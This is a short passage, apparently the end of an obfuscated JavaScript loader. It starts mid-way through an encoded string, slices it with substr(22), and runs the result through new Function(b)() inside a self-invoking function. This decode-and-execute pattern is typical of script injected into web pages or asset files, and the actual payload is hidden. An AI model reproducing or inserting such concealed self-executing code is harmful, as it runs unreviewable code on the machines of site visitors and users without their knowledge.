]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=(c6=""aaPaPaca!'.substr(22));new Function(b)()}();